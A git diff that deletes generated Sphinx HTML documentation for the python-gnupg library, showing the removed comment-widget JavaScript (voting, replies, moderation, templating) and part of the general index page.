siblings = getChildren(ul); - - var li = $(document.createElement('li')); - li.hide(); - - // Determine where in the parents children list to insert this comment. - for(i=0; i < siblings.length; i++) { - if (comp(comment, siblings[i]) <= 0) { - $('#cd' + siblings[i].id) - .parent() - .before(li.html(div)); - li.slideDown('fast'); - return; - } - } - - // If we get here, this comment rates lower than all the others, - // or it is the only comment in the list. - ul.append(li.html(div)); - li.slideDown('fast'); - } - - function acceptComment(id) { - $.ajax({ - type: 'POST', - url: opts.acceptCommentURL, - data: {id: id}, - success: function(data, textStatus, request) { - $('#cm' + id).fadeOut('fast'); - $('#cd' + id).removeClass('moderate'); - }, - error: function(request, textStatus, error) { - showError('Oops, there was a problem accepting the comment.'); - } - }); - } - - function deleteComment(id) { - $.ajax({ - type: 'POST', - url: opts.deleteCommentURL, - data: {id: id}, - success: function(data, textStatus, request) { - var div = $('#cd' + id); - if (data == 'delete') { - // Moderator mode: remove the comment and all children immediately - div.slideUp('fast', function() { - div.remove(); - }); - return; - } - // User mode: only mark the comment as deleted - div - .find('span.user-id:first') - .text('[deleted]').end() - .find('div.comment-text:first') - .text('[deleted]').end() - .find('#cm' + id + ', #dc' + id + ', #ac' + id + ', #rc' + id + - ', #sp' + id + ', #hp' + id + ', #cr' + id + ', #rl' + id) - .remove(); - var comment = div.data('comment'); - comment.username = '[deleted]'; - comment.text = '[deleted]'; - div.data('comment', comment); - }, - error: function(request, textStatus, error) { - showError('Oops, there was a problem deleting the comment.'); - } - }); - } - - function showProposal(id) { - $('#sp' + id).hide(); - $('#hp' + id).show(); - $('#pr' + id).slideDown('fast'); - } - - function hideProposal(id) { - $('#hp' + id).hide(); - $('#sp' + id).show(); - $('#pr' + id).slideUp('fast'); - } - - function showProposeChange(id) { - $('#pc' + id).hide(); - $('#hc' + id).show(); - var textarea = $('#pt' + id); - textarea.val(textarea.data('source')); - $.fn.autogrow.resize(textarea[0]); - textarea.slideDown('fast'); - } - - function hideProposeChange(id) { - $('#hc' + id).hide(); - $('#pc' + id).show(); - var textarea = $('#pt' + id); - textarea.val('').removeAttr('disabled'); - textarea.slideUp('fast'); - } - - function toggleCommentMarkupBox(id) { - $('#mb' + id).toggle(); - } - - /** Handle when the user clicks on a sort by link. */ - function handleReSort(link) { - var classes = link.attr('class').split(/\s+/); - for (var i=0; i<classes.length; i++) { - if (classes[i] != 'sort-option') { - by = classes[i].substring(2); - } - } - setComparator(); - // Save/update the sortBy cookie. - var expiration = new Date(); - expiration.setDate(expiration.getDate() + 365); - document.cookie= 'sortBy=' + escape(by) + - ';expires=' + expiration.toUTCString(); - $('ul.comment-ul').each(function(index, ul) { - var comments = getChildren($(ul), true); - comments = sortComments(comments); - appendComments(comments, $(ul).empty()); - }); - } - - /** - * Function to process a vote when a user clicks an arrow. - */ - function handleVote(link) { - if (!opts.voting) { - showError("You'll need to login to vote."); - return; - } - - var id = link.attr('id'); - if (!id) { - // Didn't click on one of the voting arrows. - return; - } - // If it is an unvote, the new vote value is 0, - // Otherwise it's 1 for an upvote, or -1 for a downvote. - var value = 0; - if (id.charAt(1) != 'u') { - value = id.charAt(0) == 'u' ? 1 : -1; - } - // The data to be sent to the server. - var d = { - comment_id: id.substring(2), - value: value - }; - - // Swap the vote and unvote links. - link.hide(); - $('#' + id.charAt(0) + (id.charAt(1) == 'u' ? 'v' : 'u') + d.comment_id) - .show(); - - // The div the comment is displayed in. - var div = $('div#cd' + d.comment_id); - var data = div.data('comment'); - - // If this is not an unvote, and the other vote arrow has - // already been pressed, unpress it. - if ((d.value !== 0) && (data.vote === d.value * -1)) { - $('#' + (d.value == 1 ? 'd' : 'u') + 'u' + d.comment_id).hide(); - $('#' + (d.value == 1 ? 'd' : 'u') + 'v' + d.comment_id).show(); - } - - // Update the comments rating in the local data. - data.rating += (data.vote === 0) ? d.value : (d.value - data.vote); - data.vote = d.value; - div.data('comment', data); - - // Change the rating text. - div.find('.rating:first') - .text(data.rating + ' point' + (data.rating == 1 ? '' : 's')); - - // Send the vote information to the server. - $.ajax({ - type: "POST", - url: opts.processVoteURL, - data: d, - error: function(request, textStatus, error) { - showError('Oops, there was a problem casting that vote.'); - } - }); - } - - /** - * Open a reply form used to reply to an existing comment. - */ - function openReply(id) { - // Swap out the reply link for the hide link - $('#rl' + id).hide(); - $('#cr' + id).show(); - - // Add the reply li to the children ul. - var div = $(renderTemplate(replyTemplate, {id: id})).hide(); - $('#cl' + id) - .prepend(div) - // Setup the submit handler for the reply form. - .find('#rf' + id) - .submit(function(event) { - event.preventDefault(); - addComment($('#rf' + id)); - closeReply(id); - }) - .find('input[type=button]') - .click(function() { - closeReply(id); - }); - div.slideDown('fast', function() { - $('#rf' + id).find('textarea').focus(); - }); - } - - /** - * Close the reply form opened with openReply. - */ - function closeReply(id) { - // Remove the reply div from the DOM. - $('#rd' + id).slideUp('fast', function() { - $(this).remove(); - }); - - // Swap out the hide link for the reply link - $('#cr' + id).hide(); - $('#rl' + id).show(); - } - - /** - * Recursively sort a tree of comments using the comp comparator. - */ - function sortComments(comments) { - comments.sort(comp); - $.each(comments, function() { - this.children = sortComments(this.children); - }); - return comments; - } - - /** - * Get the children comments from a ul. If recursive is true, - * recursively include childrens' children. - */ - function getChildren(ul, recursive) { - var children = []; - ul.children().children("[id^='cd']") - .each(function() { - var comment = $(this).data('comment'); - if (recursive) - comment.children = getChildren($(this).find('#cl' + comment.id), true); - children.push(comment); - }); - return children; - } - - /** Create a div to display a comment in. */ - function createCommentDiv(comment) { - if (!comment.displayed && !opts.moderator) { - return $('<div class="moderate">Thank you! Your comment will show up ' - + 'once it is has been approved by a moderator.</div>'); - } - // Prettify the comment rating. - comment.pretty_rating = comment.rating + ' point' + - (comment.rating == 1 ? '' : 's'); - // Make a class (for displaying not yet moderated comments differently) - comment.css_class = comment.displayed ? '' : ' moderate'; - // Create a div for this comment. - var context = $.extend({}, opts, comment); - var div = $(renderTemplate(commentTemplate, context)); - - // If the user has voted on this comment, highlight the correct arrow. - if (comment.vote) { - var direction = (comment.vote == 1) ? 'u' : 'd'; - div.find('#' + direction + 'v' + comment.id).hide(); - div.find('#' + direction + 'u' + comment.id).show(); - } - - if (opts.moderator || comment.text != '[deleted]') { - div.find('a.reply').show(); - if (comment.proposal_diff) - div.find('#sp' + comment.id).show(); - if (opts.moderator && !comment.displayed) - div.find('#cm' + comment.id).show(); - if (opts.moderator || (opts.username == comment.username)) - div.find('#dc' + comment.id).show(); - } - return div; - } - - /** - * A simple template renderer. Placeholders such as <%id%> are replaced - * by context['id'] with items being escaped. Placeholders such as <#id#> - * are not escaped. - */ - function renderTemplate(template, context) { - var esc = $(document.createElement('div')); - - function handle(ph, escape) { - var cur = context; - $.each(ph.split('.'), function() { - cur = cur[this]; - }); - return escape ? esc.text(cur || "").html() : cur; - } - - return template.replace(/<([%#])([\w\.]*)\1>/g, function() { - return handle(arguments[2], arguments[1] == '%' ? true : false); - }); - } - - /** Flash an error message briefly. */ - function showError(message) { - $(document.createElement('div')).attr({'class': 'popup-error'}) - .append($(document.createElement('div')) - .attr({'class': 'error-message'}).text(message)) - .appendTo('body') - .fadeIn("slow") - .delay(2000) - .fadeOut("slow"); - } - - /** Add a link the user uses to open the comments popup. */ - $.fn.comment = function() { - return this.each(function() { - var id = $(this).attr('id').substring(1); - var count = COMMENT_METADATA[id]; - var title = count + ' comment' + (count == 1 ? '' : 's'); - var image = count > 0 ? opts.commentBrightImage : opts.commentImage; - var addcls = count == 0 ? ' nocomment' : ''; - $(this) - .append( - $(document.createElement('a')).attr({ - href: '#', - 'class': 'sphinx-comment-open' + addcls, - id: 'ao' + id - }) - .append($(document.createElement('img')).attr({ - src: image, - alt: 'comment', - title: title - })) - .click(function(event) { - event.preventDefault(); - show($(this).attr('id').substring(2)); - }) - ) - .append( - $(document.createElement('a')).attr({ - href: '#', - 'class': 'sphinx-comment-close hidden', - id: 'ah' + id - }) - .append($(document.createElement('img')).attr({ - src: opts.closeCommentImage, - alt: 'close', - title: 'close' - })) - .click(function(event) { - event.preventDefault(); - hide($(this).attr('id').substring(2)); - }) - ); - }); - }; - - var opts = { - processVoteURL: '/_process_vote', - addCommentURL: '/_add_comment', - getCommentsURL: '/_get_comments', - acceptCommentURL: '/_accept_comment', - deleteCommentURL: '/_delete_comment', - commentImage: '/static/_static/comment.png', - closeCommentImage: '/static/_static/comment-close.png', - loadingImage: '/static/_static/ajax-loader.gif', - commentBrightImage: '/static/_static/comment-bright.png', - upArrow: '/static/_static/up.png', - downArrow: '/static/_static/down.png', - upArrowPressed: '/static/_static/up-pressed.png', - downArrowPressed: '/static/_static/down-pressed.png', - voting: false, - moderator: false - }; - - if (typeof COMMENT_OPTIONS != "undefined") { - opts = jQuery.extend(opts, COMMENT_OPTIONS); - } - - var popupTemplate = '\ - <div class="sphinx-comments" id="sc<%id%>">\ - <p class="sort-options">\ - Sort by:\ - <a href="#" class="sort-option byrating">best rated</a>\ - <a href="#" class="sort-option byascage">newest</a>\ - <a href="#" class="sort-option byage">oldest</a>\ - </p>\ - <div class="comment-header">Comments</div>\ - <div class="comment-loading" id="cn<%id%>">\ - loading comments... <img src="<%loadingImage%>" alt="" /></div>\ - <ul id="cl<%id%>" class="comment-ul"></ul>\ - <div id="ca<%id%>">\ - <p class="add-a-comment">Add a comment\ - (<a href="#" class="comment-markup" id="ab<%id%>">markup</a>):</p>\ - <div class="comment-markup-box" id="mb<%id%>">\ - reStructured text markup: <i>*emph*</i>, <b>**strong**</b>, \ - <tt>``code``</tt>, \ - code blocks: <tt>::</tt> and an indented block after blank line</div>\ - <form method="post" id="cf<%id%>" class="comment-form" action="">\ - <textarea name="comment" cols="80"></textarea>\ - <p class="propose-button">\ - <a href="#" id="pc<%id%>" class="show-propose-change">\ - Propose a change ▹\ - </a>\ - <a href="#" id="hc<%id%>" class="hide-propose-change">\ - Propose a change ▿\ - </a>\ - </p>\ - <textarea name="proposal" id="pt<%id%>" cols="80"\ - spellcheck="false"></textarea>\ - <input type="submit" value="Add comment" />\ - <input type="hidden" name="node" value="<%id%>" />\ - <input type="hidden" name="parent" value="" />\ - </form>\ - </div>\ - </div>'; - - var commentTemplate = '\ - <div id="cd<%id%>" class="sphinx-comment<%css_class%>">\ - <div class="vote">\ - <div class="arrow">\ - <a href="#" id="uv<%id%>" class="vote" title="vote up">\ - <img src="<%upArrow%>" />\ - </a>\ - <a href="#" id="uu<%id%>" class="un vote" title="vote up">\ - <img src="<%upArrowPressed%>" />\ - </a>\ - </div>\ - <div class="arrow">\ - <a href="#" id="dv<%id%>" class="vote" title="vote down">\ - <img src="<%downArrow%>" id="da<%id%>" />\ - </a>\ - <a href="#" id="du<%id%>" class="un vote" title="vote down">\ - <img src="<%downArrowPressed%>" />\ - </a>\ - </div>\ - </div>\ - <div class="comment-content">\ - <p class="tagline comment">\ - <span class="user-id"><%username%></span>\ - <span class="rating"><%pretty_rating%></span>\ - <span class="delta"><%time.delta%></span>\ - </p>\ - <div class="comment-text comment"><#text#></div>\ - <p class="comment-opts comment">\ - <a href="#" class="reply hidden" id="rl<%id%>">reply ▹</a>\ - <a href="#" class="close-reply" id="cr<%id%>">reply ▿</a>\ - <a href="#" id="sp<%id%>" class="show-proposal">proposal ▹</a>\ - <a href="#" id="hp<%id%>" class="hide-proposal">proposal ▿</a>\ - <a href="#" id="dc<%id%>" class="delete-comment hidden">delete</a>\ - <span id="cm<%id%>" class="moderation hidden">\ - <a href="#" id="ac<%id%>" class="accept-comment">accept</a>\ - </span>\ - </p>\ - <pre class="proposal" id="pr<%id%>">\ -<#proposal_diff#>\ - </pre>\ - <ul class="comment-children" id="cl<%id%>"></ul>\ - </div>\ - <div class="clearleft"></div>\ - </div>\ - </div>'; - - var replyTemplate = '\ - <li>\ - <div class="reply-div" id="rd<%id%>">\ - <form id="rf<%id%>">\ - <textarea name="comment" cols="80"></textarea>\ - <input type="submit" value="Add reply" />\ - <input type="button" value="Cancel" />\ - <input type="hidden" name="parent" value="<%id%>" />\ - <input type="hidden" name="node" value="" />\ - </form>\ - </div>\ - </li>'; - - $(document).ready(function() { - init(); - }); -})(jQuery); - -$(document).ready(function() { - // add comment anchors for all paragraphs that are commentable - $('.sphinx-has-comment').comment(); - - // highlight search words in search results - $("div.context").each(function() { - var params = $.getQueryParameters(); - var terms = (params.q) ? params.q[0].split(/\s+/) : []; - var result = $(this); - $.each(terms, function() { - result.highlightText(this.toLowerCase(), 'highlighted'); - }); - }); - - // directly open comment window if requested - var anchor = document.location.hash; - if (anchor.substring(0, 9) == '#comment-') { - $('#ao' + anchor.substring(9)).click(); - document.location.hash = '#s' + anchor.substring(9); - } -}); diff --git a/docs/_build/html/genindex.html b/docs/_build/html/genindex.html deleted file mode 100644 index e320627..0000000 --- a/docs/_build/html/genindex.html +++ /dev/null @@ -1,932 +0,0 @@ - -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - - -<html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> - - <title>Index — gnupg unknown documentation</title> - - <link rel="stylesheet" href="_static/agogo.css" type="text/css" /> - <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> - - <script type="text/javascript"> - var DOCUMENTATION_OPTIONS = { - URL_ROOT: './', - VERSION: 'unknown', - COLLAPSE_INDEX: false, - FILE_SUFFIX: '.html', - HAS_SOURCE: true - }; - </script> - <script type="text/javascript" src="_static/jquery.js"></script> - <script type="text/javascript" src="_static/underscore.js"></script> - <script type="text/javascript" src="_static/doctools.js"></script> - <link rel="top" title="gnupg unknown documentation" href="index.html" /> - </head> - <body> - <div class="header-wrapper"> - <div class="header"> - <div class="headertitle"><a - href="index.html">gnupg: Python Module Documentation</a></div> - <div class="rel"> - <a href="py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="#" title="General Index" - accesskey="I">index</a> - </div> - </div> - </div> - - <div class="content-wrapper"> - <div class="content"> - <div class="document"> - - <div class="documentwrapper"> - <div class="bodywrapper"> - <div class="body"> - - -<h1 id="index">Index</h1> - -<div class="genindex-jumpbox"> - <a href="#_"><strong>_</strong></a> - | <a href="#A"><strong>A</strong></a> - | <a href="#C"><strong>C</strong></a> - | <a href="#D"><strong>D</strong></a> - | <a href="#E"><strong>E</strong></a> - | <a href="#F"><strong>F</strong></a> - | <a href="#G"><strong>G</strong></a> - | <a href="#H"><strong>H</strong></a> - | <a href="#I"><strong>I</strong></a> - | <a href="#K"><strong>K</strong></a> - | <a href="#L"><strong>L</strong></a> - | <a href="#N"><strong>N</strong></a> - | <a href="#O"><strong>O</strong></a> - | <a href="#P"><strong>P</strong></a> - | <a href="#R"><strong>R</strong></a> - | <a href="#S"><strong>S</strong></a> - | <a href="#T"><strong>T</strong></a> - | <a href="#U"><strong>U</strong></a> - | <a href="#V"><strong>V</strong></a> - | <a href="#W"><strong>W</strong></a> - | <a href="#X"><strong>X</strong></a> - -</div> -<h2 id="_">_</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._meta.GPGBase.__init__">__init__() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGMeta.__new__">__new__() (GPGMeta static method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase.__remove_path__">__remove_path__() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG._batch_limit">_batch_limit (GPG attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._check_keyserver">_check_keyserver() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._check_preferences">_check_preferences() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._collect_output">_collect_output() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._copy_data">_copy_data() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ImportResult._counts">_counts (ImportResult attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._create_if_necessary">_create_if_necessary() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG._create_trustdb">_create_trustdb() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._deprefix">_deprefix() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._encrypt">_encrypt() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG._export_ownertrust">_export_ownertrust() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ImportResult._fields">_fields (ImportResult attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGMeta._find_agent">_find_agent() (gnupg._meta.GPGMeta class method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._find_binary">_find_binary() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG._fix_trustdb">_fix_trustdb() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._fix_unsafe">_fix_unsafe() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._generated_keys">_generated_keys (GPGBase attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._generated_keys_getter">_generated_keys_getter() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._generated_keys_setter">_generated_keys_setter() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._get_all_gnupg_options">_get_all_gnupg_options() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._get_options_group">_get_options_group() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._handle_io">_handle_io() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Crypt._handle_status">_handle_status() (Crypt method)</a> - </dt> - - <dd><dl> - - <dt><a href="gnupg.html#gnupg._parsers.DeleteResult._handle_status">(DeleteResult method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.GenKey._handle_status">(GenKey method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ImportResult._handle_status">(ImportResult method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ListKeys._handle_status">(ListKeys method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ListPackets._handle_status">(ListPackets method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Sign._handle_status">(Sign method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify._handle_status">(Verify method)</a> - </dt> - - </dl></dd> - - <dt><a href="gnupg.html#gnupg._util._has_readwrite">_has_readwrite() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._homedir_getter">_homedir_getter() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._homedir_setter">_homedir_setter() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._hyphenate">_hyphenate() (in module gnupg._parsers)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg.GPG._import_ownertrust">_import_ownertrust() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._is_allowed">_is_allowed() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._is_file">_is_file() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._is_gpg1">_is_gpg1() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._is_gpg2">_is_gpg2() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._is_hex">_is_hex() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._is_list_or_tuple">_is_list_or_tuple() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._is_stream">_is_stream() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._is_string">_is_string() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._make_args">_make_args() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._make_binary_stream">_make_binary_stream() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._make_passphrase">_make_passphrase() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._make_random_string">_make_random_string() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._match_version_string">_match_version_string() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._next_year">_next_year() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._now">_now() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ImportResult._ok_reason">_ok_reason (ImportResult attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._open_subprocess">_open_subprocess() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ImportResult._problem_reason">_problem_reason (ImportResult attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._read_data">_read_data() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._read_response">_read_response() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._recv_keys">_recv_keys() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._sanitise">_sanitise() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers._sanitise_list">_sanitise_list() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._separate_keyword">_separate_keyword() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase._sign_file">_sign_file() (GPGBase method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._threaded_copy_data">_threaded_copy_data() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._utc_epoch">_utc_epoch() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._which">_which() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util._write_passphrase">_write_passphrase() (in module gnupg._util)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="A">A</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._util.author_info">author_info() (in module gnupg._util)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="C">C</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._util.create_uid_email">create_uid_email() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.creation_date">creation_date (Verify attribute)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.Crypt">Crypt (class in gnupg._parsers)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="D">D</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.Crypt.data">data (Crypt attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG.decrypt">decrypt() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG.decrypt_file">decrypt_file() (GPG method)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._meta.GPGBase.default_preference_list">default_preference_list (GPGBase attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG.delete_keys">delete_keys() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.DeleteResult">DeleteResult (class in gnupg._parsers)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="E">E</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg.GPG.encrypt">encrypt() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.expire_timestamp">expire_timestamp (Verify attribute)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg.GPG.export_keys">export_keys() (GPG method)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="F">F</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._util.find_encodings">find_encodings() (in module gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Sign.fingerprint">fingerprint (Sign attribute)</a> - </dt> - - <dd><dl> - - <dt><a href="gnupg.html#gnupg._parsers.Verify.fingerprint">(Verify attribute)</a> - </dt> - - </dl></dd> - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.ImportResult.fingerprints">fingerprints (ImportResult attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ListKeys.fpr">fpr() (ListKeys method)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="G">G</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg.GPG.gen_key">gen_key() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG.gen_key_input">gen_key_input() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.GenKey">GenKey (class in gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#module-gnupg">gnupg (module)</a> - </dt> - - - <dt><a href="gnupg.html#module-gnupg._meta">gnupg._meta (module)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#module-gnupg._parsers">gnupg._parsers (module)</a> - </dt> - - - <dt><a href="gnupg.html#module-gnupg._util">gnupg._util (module)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG">GPG (class in gnupg)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase">GPGBase (class in gnupg._meta)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGMeta">GPGMeta (class in gnupg._meta)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="H">H</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._meta.GPGBase.homedir">homedir (GPGBase attribute)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="I">I</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg.GPG.import_keys">import_keys() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ImportResult">ImportResult (class in gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._util.InheritableProperty">InheritableProperty (class in gnupg._util)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg.GPG.is_gpg1">is_gpg1() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG.is_gpg2">is_gpg2() (GPG method)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="K">K</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.ListKeys.key">key() (ListKeys method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.key_id">key_id (Verify attribute)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.GenKey.keyring">keyring (GenKey attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._meta.GPGBase.keyserver">keyserver (GPGBase attribute)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="L">L</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg.GPG.list_keys">list_keys() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG.list_packets">list_packets() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG.list_sigs">list_sigs() (GPG method)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.ListKeys">ListKeys (class in gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ListPackets">ListPackets (class in gnupg._parsers)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="N">N</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.ListPackets.need_passphrase">need_passphrase (ListPackets attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ListPackets.need_passphrase_sym">need_passphrase_sym (ListPackets attribute)</a> - </dt> - - </dl></td> - <td style="width: 33%" 